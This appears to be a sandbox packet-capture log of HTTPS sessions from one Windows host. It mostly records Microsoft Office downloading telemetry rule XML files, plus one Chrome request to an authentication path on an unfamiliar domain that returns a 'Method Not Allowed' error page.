2024-11-27 03:07:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:39 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030739Z-174f7845968zgtf6hC1EWRqd8s0000000p8g00000000dqwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49810	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:39 UTC	372	OUT	GET /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:40 UTC	524	IN	HTTP/1.1 405 Method Not Allowed Connection: close x-powered-by: PHP/8.1.27 allow: POST cache-control: no-cache, private vary: Origin content-type: text/html; charset=UTF-8 content-length: 835 date: Wed, 27 Nov 2024 03:07:39 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:40 UTC	835	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 2c 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 6e 20 45 72 72 6f 72 20 4f 63 63 75 72 72 65 64 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 20 66 6f 6e 74 3a 20 31 36 70 78 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="robots" content="noindex,nofollow,noarchive" /> <title>An Error Occurred: Method Not Allowed</title> <style>body { background-color: #fff; color: #222; font: 16px

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:40 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030740Z-174f78459685m244hC1EWRgp2c0000000w2g00000000mkc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:40 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030740Z-174f784596886s2bhC1EWR743w0000000wbg00000000dt5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:40 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030740Z-174f7845968nxc96hC1EWRspw80000000w1g00000000dcwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:40 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030741Z-174f78459685726chC1EWRsnbg0000000wag00000000gbr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:41 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:41 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030741Z-174f7845968j6t2phC1EWRcfe80000000whg000000007ym4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:41 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:42 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:43 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030743Z-174f78459685m244hC1EWRgp2c0000000w6000000000a1bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:43 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:42 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030743Z-174f7845968xlwnmhC1EWR0sv80000000w2000000000mdeu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:43 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030743Z-174f7845968vqt9xhC1EWRgten0000000weg000000004x87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:43 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030743Z-174f78459685m244hC1EWRgp2c0000000w70000000006xqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:43 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
